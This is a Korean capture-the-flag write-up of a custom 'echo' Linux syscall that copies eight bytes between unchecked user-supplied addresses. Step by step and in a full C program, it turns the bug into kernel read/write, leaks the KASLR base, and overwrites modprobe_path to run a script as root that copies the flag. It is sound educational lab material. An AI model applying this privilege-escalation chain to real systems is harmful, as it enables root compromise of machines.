echo
취약점 분석
echosyscall의 임의 주소 8바이트 복사 취약점
src/echo.c의 echo syscall은 사용자로부터 받은 to, from 포인터를 검증하지 않고 그대로 copy_user_generic_unrolled()에 전달한다.
SYSCALL_DEFINE2(echo, void*, to, void*, from) {
return copy_user_generic_unrolled(to, from, 8);
}copy_user_generic_unrolled(to, from, 8)은 from 주소에서 to 주소로 8바이트를 복사한다. 문제는 to와 from이 모두 syscall 인자로 전달되는 사용자 제어 값인데, 커널 주소 여부에 대한 검증이 없다는 점이다.
따라서 다음 공격 벡터가 가능하다.
to = user address,from = kernel address: 커널 메모리 8바이트 leakto = kernel address,from = user address: 커널 메모리 8바이트 overwrite
즉, 이 syscall 하나로 arbitrary kernel read/write primitive를 만들 수 있다.
uint64_t kread(uint64_t from)
{
uint64_t ret = 0;
syscall(SYS_ECHO, &ret, (void *)from);
return ret;
}
long kwrite(uint64_t to, uint64_t val)
{
return syscall(SYS_ECHO, (void *)to, &val);
}modprobe_pathoverwrite를 통한 root 권한 코드 실행
임의 커널 쓰기가 가능하므로 커널 전역 변수인 modprobe_path를 덮을 수 있다.
modprobe_path는 알 수 없는 바이너리 포맷을 실행했을 때 커널이 호출하는 userspace helper 경로다. 이를 /tmp/ex로 덮으면, 잘못된 magic 값을 가진 파일을 실행할 때 커널이 root 권한으로 /tmp/ex를 실행한다.
익스플로잇에서는 먼저 커널 주소를 leak해서 KASLR base를 계산한 뒤, modprobe_path 주소를 구한다.
uint64_t leak = kread(0xfffffe0000000004);
uint64_t base = leak - 0x208e00;
uint64_t modprobe_path = base + 0x837cc0;이후 modprobe_path를 /tmp/ex로 덮는다.
kwrite(modprobe_path, (uint64_t)0x0078652f706d742fULL); // /tmp/exExploit 과정
Step 1: 임의 커널 읽기 primitive 구성
echo syscall에 to로 userland 변수 주소, from으로 커널 주소를 넘기면 커널 메모리 8바이트를 userland로 복사할 수 있다.
uint64_t kread(uint64_t from)
{
uint64_t ret = 0;
syscall(SYS_ECHO, &ret, (void *)from);
return ret;
}Step 2: 임의 커널 쓰기 primitive 구성
반대로 to로 커널 주소, from으로 userland 변수 주소를 넘기면 userland의 8바이트 값을 커널 메모리에 쓸 수 있다.
long kwrite(uint64_t to, uint64_t val)
{
return syscall(SYS_ECHO, (void *)to, &val);
}Step 3: 커널 base leak
고정된 cpu entry 영역에서 커널 포인터를 leak하고, 알려진 offset을 빼서 커널 base를 계산한다.
uint64_t leak = kread(0xfffffe0000000004);
uint64_t base = leak - 0x208e00;
uint64_t modprobe_path = base + 0x837cc0;Step 4: modprobe_path overwrite
modprobe_path를 /tmp/ex로 덮는다.
kwrite(modprobe_path, (uint64_t)0x0078652f706d742fULL); // /tmp/exStep 5: modprobe trigger
/tmp/ex에는 flag를 /tmp/flag로 복사하고 권한을 여는 스크립트를 준비한다. 이후 잘못된 magic 값을 가진 실행 파일 /tmp/trig를 실행하면 커널이 /tmp/ex를 root 권한으로 실행한다.
setup_modprobe("/tmp/ex", "cp /flag.txt /tmp/flag\nchmod 777 /tmp/flag");
system("printf '\\xff\\xff\\xff\\xff' > /tmp/trig");
system("chmod +x /tmp/trig");
system("/tmp/trig 2>/dev/null");
system("cat /tmp/flag");Exploit Code
#define _GNU_SOURCE
#include <errno.h>
#include <stdint.h>
#include <unistd.h>
#define SYS_ECHO 548
uint64_t kread(uint64_t from)
{
uint64_t ret = 0;
syscall(SYS_ECHO, &ret, (void *)from);
return ret;
}
long kwrite(uint64_t to, uint64_t val)
{
return syscall(SYS_ECHO, (void *)to, &val);
}
int main()
{
important("happy hacking!");
// leak kernel base address via cpu entry
uint64_t leak = kread(0xfffffe0000000004);
uint64_t base = leak - 0x208e00;
uint64_t modprobe_path = base + 0x837cc0;
info("leak: %lx", leak);
info("base: %lx", base);
info("modprobe_path: %lx", modprobe_path);
// setting modprobe_path overwrite to /tmp/ex
setup_modprobe("/tmp/ex", "cp /flag.txt /tmp/flag\nchmod 777 /tmp/flag");
info("modprobe_path overwrite to /tmp/ex");
// overwrite modprobe_path to /tmp/ex
kwrite(modprobe_path, (uint64_t)0x0078652f706d742fULL); // /tmp/ex
info("modprobe_path overwritten to /tmp/ex");
info("modprobe_path readback: %lx", kread(modprobe_path));
system("printf '\\xff\\xff\\xff\\xff' > /tmp/trig");
system("chmod +x /tmp/trig");
system("/tmp/trig 2>/dev/null");
system("cat /tmp/flag");
return 0;
}